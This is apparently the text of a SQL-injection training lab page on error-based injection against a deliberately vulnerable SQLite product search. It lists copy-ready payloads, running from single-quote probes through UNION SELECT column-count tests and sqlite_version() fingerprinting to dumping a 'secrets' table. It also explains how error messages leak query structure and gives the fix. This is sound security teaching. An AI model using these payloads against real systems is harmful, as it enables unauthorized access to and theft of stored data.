Level 04 · Error-based Injection

Error messages as a feedback channel

This product search returns raw SQL errors to the user. That's a gift to an attacker — error messages reveal the query structure, table names, column counts, and DB engine details. Use the errors to figure out the column count, then craft a working UNION attack.

Objective

Use error messages to figure out the column count, then successfully extract the SQLite version using sqlite_version().

Loading SQLite engine

Product Search

Live Query · Errors · Results

SQL EXECUTED

// Try a search

Try these payloads (click to copy)

laptop Normal search.
' A single quote breaks the string. Error reveals query structure.
%' UNION SELECT 1 -- Column count mismatch — error tells you how many columns there are.
%' UNION SELECT 1,2 -- Try 2 columns. Adjust until no error.
%' UNION SELECT sqlite_version(), 'X' -- Once you know the column count, fingerprint the DB.
%' UNION SELECT label, value FROM secrets -- And then dump whatever you want.

Why error leaks matter

[ THE ATTACKER'S VIEW ]

Error messages like:

SELECTs to the left and right of UNION do not have the same number of result columns
near "UNION": syntax error
no such column: foo

...tell an attacker:

The DB engine (SQLite, MySQL, PostgreSQL all have distinct error wording — fingerprint)
That your injection point is reaching the parser at all
What's wrong with the current attempt — exactly what to change for the next one
In some DBs (MySQL EXTRACTVALUE, Postgres CAST), errors can be coerced into leaking actual data values

The fix is two-part:

Parameterized queries — the actual fix.
Generic error pages in production — even legitimate bugs shouldn't leak stack traces. Log it server-side, return "Something went wrong" to the client.